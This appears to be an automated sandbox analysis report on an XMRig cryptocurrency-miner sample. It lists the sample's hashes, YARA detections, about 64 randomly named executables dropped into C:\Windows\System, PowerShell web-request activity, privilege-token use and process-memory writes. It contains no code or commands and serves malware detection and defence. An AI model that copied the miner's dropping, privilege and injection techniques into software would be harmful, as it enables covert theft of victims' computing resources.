xmrig | 98514f9ddea025448db573d443ec3cbda0f497279347f1f9bbf95254088bfcd9

Analysis

max time kernel
150s
max time network
144s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
24/05/2024, 05:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
Size

1.7MB
MD5

b031a99b8d27f4e714b1c8d6bfc76940
SHA1

08db254ee681ab5474a33228a1e69f7c787d3bb1
SHA256

98514f9ddea025448db573d443ec3cbda0f497279347f1f9bbf95254088bfcd9
SHA512

c1799953b17aa5a637e075a387ba6442db3621e1f4506678efa4bef5208365adf1a49bfa7e783abc739ffcc83f0df5d7fc9cb313f41db46428dd5d3254207c66
SSDEEP

49152:Lz071uv4BPMkHC0IaSEzQR4iRFlX+IADb9:NABj

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 23 IoCs

miner

resource	yara_rule
behavioral1/memory/2912-8-0x000000013F7F0000-0x000000013FBE2000-memory.dmp	xmrig
behavioral1/memory/1992-203-0x000000013F080000-0x000000013F472000-memory.dmp	xmrig
behavioral1/memory/2020-205-0x000000013F030000-0x000000013F422000-memory.dmp	xmrig
behavioral1/memory/2432-201-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	xmrig
behavioral1/memory/2648-200-0x000000013FC40000-0x0000000140032000-memory.dmp	xmrig
behavioral1/memory/2572-199-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2800-198-0x000000013F630000-0x000000013FA22000-memory.dmp	xmrig
behavioral1/memory/2780-192-0x000000013F1A0000-0x000000013F592000-memory.dmp	xmrig
behavioral1/memory/3052-191-0x000000013FC30000-0x0000000140022000-memory.dmp	xmrig
behavioral1/memory/2644-189-0x000000013FC60000-0x0000000140052000-memory.dmp	xmrig
behavioral1/memory/2648-4108-0x000000013FC40000-0x0000000140032000-memory.dmp	xmrig
behavioral1/memory/3052-4112-0x000000013FC30000-0x0000000140022000-memory.dmp	xmrig
behavioral1/memory/2644-4130-0x000000013FC60000-0x0000000140052000-memory.dmp	xmrig
behavioral1/memory/2800-4140-0x000000013F630000-0x000000013FA22000-memory.dmp	xmrig
behavioral1/memory/2912-4165-0x000000013F7F0000-0x000000013FBE2000-memory.dmp	xmrig
behavioral1/memory/2572-4169-0x000000013FC70000-0x0000000140062000-memory.dmp	xmrig
behavioral1/memory/2056-4163-0x000000013F510000-0x000000013F902000-memory.dmp	xmrig
behavioral1/memory/1992-4161-0x000000013F080000-0x000000013F472000-memory.dmp	xmrig
behavioral1/memory/2432-4159-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	xmrig
behavioral1/memory/2216-4157-0x000000013F670000-0x000000013FA62000-memory.dmp	xmrig
behavioral1/memory/2020-4156-0x000000013F030000-0x000000013F422000-memory.dmp	xmrig
behavioral1/memory/2780-4153-0x000000013F1A0000-0x000000013F592000-memory.dmp	xmrig
behavioral1/memory/2196-14578-0x000000013F080000-0x000000013F472000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1988	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2912	ZbjVUuZ.exe
2056	qlDNBds.exe
2644	oqPnanj.exe
3052	YGrWXze.exe
2780	PfAOilF.exe
2216	aeAnXus.exe
2800	jXdgtXF.exe
2572	rEhADBS.exe
2648	QrzmDPD.exe
2432	IVpiPEw.exe
1992	jGUdryO.exe
2020	bxuDaMf.exe
2652	Ttthpcd.exe
2764	upXxCSQ.exe
2876	hrOrvVy.exe
2724	lmWvEMh.exe
1892	orcqdNM.exe
1712	NHOagtA.exe
540	ctTlBTL.exe
1484	OJSgNvv.exe
592	bUWXjwp.exe
1668	SaFDjgl.exe
2592	BiJRbmS.exe
2872	tOhXRXG.exe
2052	KLniVso.exe
452	BzmmIQu.exe
2060	obLmoJB.exe
1740	CHCuhIr.exe
2024	XJlJGjw.exe
1912	rZdrIcm.exe
308	mfvJWws.exe
872	cAvLCya.exe
2032	sVlEKqi.exe
2324	DxsDrzn.exe
1588	kJhXqhz.exe
2504	AfLgoKE.exe
2416	vwMeMvs.exe
2620	NiUiHPY.exe
2072	GmYMnAu.exe
760	FXeGMWz.exe
2000	fkWOUsu.exe
2204	xCVGjkM.exe
1716	iUdymdW.exe
580	knphYUI.exe
1564	WDhuzyc.exe
2916	HpqyRTg.exe
1900	pMwgVcC.exe
1064	oJLesTr.exe
2952	DjaYAgi.exe
2476	EKyfMnQ.exe
2460	YMdcTEy.exe
1612	iwCJsiw.exe
1400	KbmZmWW.exe
324	IkOJafx.exe
892	vJEAETE.exe
2440	iyJtYVn.exe
3088	CTDaZSt.exe
1760	eyLkAER.exe
3120	ZjlwiMW.exe
3160	saYzAAM.exe
3192	hJrlmed.exe
3224	rVYYtwY.exe
3256	LzsmetE.exe
3316	Vguxyye.exe

Loads dropped DLL 64 IoCs

pid	Process
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe

UPX packed file 63 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2196-4-0x000000013F080000-0x000000013F472000-memory.dmp	upx
behavioral1/files/0x000b000000014230-6.dat	upx
behavioral1/files/0x00060000000173e0-47.dat	upx
behavioral1/files/0x0008000000016d0d-38.dat	upx
behavioral1/files/0x000600000001745e-63.dat	upx
behavioral1/files/0x000600000001749c-72.dat	upx
behavioral1/files/0x0006000000018c0a-100.dat	upx
behavioral1/files/0x00050000000191cd-123.dat	upx
behavioral1/files/0x000500000001923d-141.dat	upx
behavioral1/files/0x0005000000018778-93.dat	upx
behavioral1/files/0x000600000001747d-68.dat	upx
behavioral1/files/0x000500000001866b-84.dat	upx
behavioral1/files/0x000500000001935d-173.dat	upx
behavioral1/files/0x000500000001933a-165.dat	upx
behavioral1/files/0x0005000000019270-158.dat	upx
behavioral1/files/0x000500000001924a-149.dat	upx
behavioral1/files/0x0005000000019215-131.dat	upx
behavioral1/files/0x00060000000190b6-115.dat	upx
behavioral1/files/0x0006000000018f3a-106.dat	upx
behavioral1/files/0x000500000001866d-91.dat	upx
behavioral1/files/0x0006000000017456-59.dat	upx
behavioral1/files/0x00070000000173d8-57.dat	upx
behavioral1/files/0x000900000001864e-82.dat	upx
behavioral1/files/0x0007000000016cb7-54.dat	upx
behavioral1/files/0x0007000000004e76-52.dat	upx
behavioral1/memory/2056-31-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/files/0x003200000001630b-13.dat	upx
behavioral1/files/0x0008000000016c6b-37.dat	upx
behavioral1/files/0x0008000000016a9a-36.dat	upx
behavioral1/memory/2912-8-0x000000013F7F0000-0x000000013FBE2000-memory.dmp	upx
behavioral1/files/0x0006000000018c1a-102.dat	upx
behavioral1/files/0x0006000000019021-109.dat	upx
behavioral1/files/0x00050000000191a7-117.dat	upx
behavioral1/files/0x00050000000191ed-124.dat	upx
behavioral1/files/0x000500000001922e-134.dat	upx
behavioral1/files/0x0005000000019241-142.dat	upx
behavioral1/files/0x00050000000192ef-160.dat	upx
behavioral1/files/0x000500000001924d-151.dat	upx
behavioral1/memory/1992-203-0x000000013F080000-0x000000013F472000-memory.dmp	upx
behavioral1/files/0x0006000000017556-97.dat	upx
behavioral1/memory/2020-205-0x000000013F030000-0x000000013F422000-memory.dmp	upx
behavioral1/memory/2432-201-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	upx
behavioral1/memory/2648-200-0x000000013FC40000-0x0000000140032000-memory.dmp	upx
behavioral1/memory/2572-199-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2800-198-0x000000013F630000-0x000000013FA22000-memory.dmp	upx
behavioral1/memory/2216-196-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/memory/2780-192-0x000000013F1A0000-0x000000013F592000-memory.dmp	upx
behavioral1/memory/3052-191-0x000000013FC30000-0x0000000140022000-memory.dmp	upx
behavioral1/memory/2644-189-0x000000013FC60000-0x0000000140052000-memory.dmp	upx
behavioral1/files/0x000500000001934f-167.dat	upx
behavioral1/memory/2648-4108-0x000000013FC40000-0x0000000140032000-memory.dmp	upx
behavioral1/memory/3052-4112-0x000000013FC30000-0x0000000140022000-memory.dmp	upx
behavioral1/memory/2644-4130-0x000000013FC60000-0x0000000140052000-memory.dmp	upx
behavioral1/memory/2800-4140-0x000000013F630000-0x000000013FA22000-memory.dmp	upx
behavioral1/memory/2912-4165-0x000000013F7F0000-0x000000013FBE2000-memory.dmp	upx
behavioral1/memory/2572-4169-0x000000013FC70000-0x0000000140062000-memory.dmp	upx
behavioral1/memory/2056-4163-0x000000013F510000-0x000000013F902000-memory.dmp	upx
behavioral1/memory/1992-4161-0x000000013F080000-0x000000013F472000-memory.dmp	upx
behavioral1/memory/2432-4159-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	upx
behavioral1/memory/2216-4157-0x000000013F670000-0x000000013FA62000-memory.dmp	upx
behavioral1/memory/2020-4156-0x000000013F030000-0x000000013F422000-memory.dmp	upx
behavioral1/memory/2780-4153-0x000000013F1A0000-0x000000013F592000-memory.dmp	upx
behavioral1/memory/2196-14578-0x000000013F080000-0x000000013F472000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\nSSffQW.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\hEGZdyL.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\GjiSWwx.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\qetZArF.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\fZyOZZe.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\jFeizWu.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\qhixgCu.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\ZobLyLD.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\NiUiHPY.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\waAqIIO.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\YMsbTzo.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\FTVMiVh.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\UWuzdTP.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\qCXbEhL.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\tDyGFka.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\bzruKZW.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\bwxcbzs.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\edjGyOt.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\IlwJmqz.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\zTyNDlM.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\EzLQJDg.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\jZUXwiX.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\BPYgeNC.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\UutQxha.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\zuLAQpW.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\VfsBNzj.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\XHtYVah.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\ySNDXjq.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\dcsCNlw.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\PTJYhLZ.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\euYCPxM.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\JQZHMLu.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\KfRdXex.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\clNpPIr.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\DeqZJYv.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\cTiyKud.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\wFCQQZs.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\kUiIBRv.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\vNipcMx.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\PUxeFHN.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\mPZXkus.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\UDgoBzQ.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\SoLYnXa.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\DyJBLQC.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\qyfYbld.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\xsnKRPZ.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\ibjmSeA.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\MRCrYLX.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\GtiuXGT.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\vqkQMnb.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\LEDkXkR.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\jdkJmxo.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\uXwVoVz.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\LApCVYp.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\OcMlPZQ.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\SEMNfKe.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\nrfLUpE.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\CsvKlnO.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\PtNPvxG.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\zvwwDfP.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\IQCjQOL.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\oTLEttp.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\ykDwIMV.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
File created	C:\Windows\System\CFKTpnR.exe	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1988	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeLockMemoryPrivilege	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 1988	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	29
PID 2196 wrote to memory of 1988	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	29
PID 2196 wrote to memory of 1988	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	29
PID 2196 wrote to memory of 2912	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	30
PID 2196 wrote to memory of 2912	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	30
PID 2196 wrote to memory of 2912	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	30
PID 2196 wrote to memory of 2056	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	31
PID 2196 wrote to memory of 2056	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	31
PID 2196 wrote to memory of 2056	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	31
PID 2196 wrote to memory of 2644	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	32
PID 2196 wrote to memory of 2644	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	32
PID 2196 wrote to memory of 2644	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	32
PID 2196 wrote to memory of 2800	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	33
PID 2196 wrote to memory of 2800	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	33
PID 2196 wrote to memory of 2800	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	33
PID 2196 wrote to memory of 3052	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	34
PID 2196 wrote to memory of 3052	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	34
PID 2196 wrote to memory of 3052	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	34
PID 2196 wrote to memory of 2572	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	35
PID 2196 wrote to memory of 2572	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	35
PID 2196 wrote to memory of 2572	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	35
PID 2196 wrote to memory of 2780	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	36
PID 2196 wrote to memory of 2780	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	36
PID 2196 wrote to memory of 2780	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	36
PID 2196 wrote to memory of 2648	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	37
PID 2196 wrote to memory of 2648	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	37
PID 2196 wrote to memory of 2648	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	37
PID 2196 wrote to memory of 2216	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	38
PID 2196 wrote to memory of 2216	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	38
PID 2196 wrote to memory of 2216	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	38
PID 2196 wrote to memory of 2432	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	39
PID 2196 wrote to memory of 2432	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	39
PID 2196 wrote to memory of 2432	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	39
PID 2196 wrote to memory of 1992	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	40
PID 2196 wrote to memory of 1992	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	40
PID 2196 wrote to memory of 1992	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	40
PID 2196 wrote to memory of 2020	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	41
PID 2196 wrote to memory of 2020	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	41
PID 2196 wrote to memory of 2020	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	41
PID 2196 wrote to memory of 2652	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	42
PID 2196 wrote to memory of 2652	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	42
PID 2196 wrote to memory of 2652	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	42
PID 2196 wrote to memory of 2724	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	43
PID 2196 wrote to memory of 2724	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	43
PID 2196 wrote to memory of 2724	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	43
PID 2196 wrote to memory of 2764	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	44
PID 2196 wrote to memory of 2764	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	44
PID 2196 wrote to memory of 2764	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	44
PID 2196 wrote to memory of 2872	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	45
PID 2196 wrote to memory of 2872	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	45
PID 2196 wrote to memory of 2872	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	45
PID 2196 wrote to memory of 2876	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	46
PID 2196 wrote to memory of 2876	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	46
PID 2196 wrote to memory of 2876	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	46
PID 2196 wrote to memory of 2024	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	47
PID 2196 wrote to memory of 2024	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	47
PID 2196 wrote to memory of 2024	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	47
PID 2196 wrote to memory of 1892	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	48
PID 2196 wrote to memory of 1892	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	48
PID 2196 wrote to memory of 1892	2196	b031a99b8d27f4e714b1c8d6bfc76940_NeikiAnalytics.exe	48
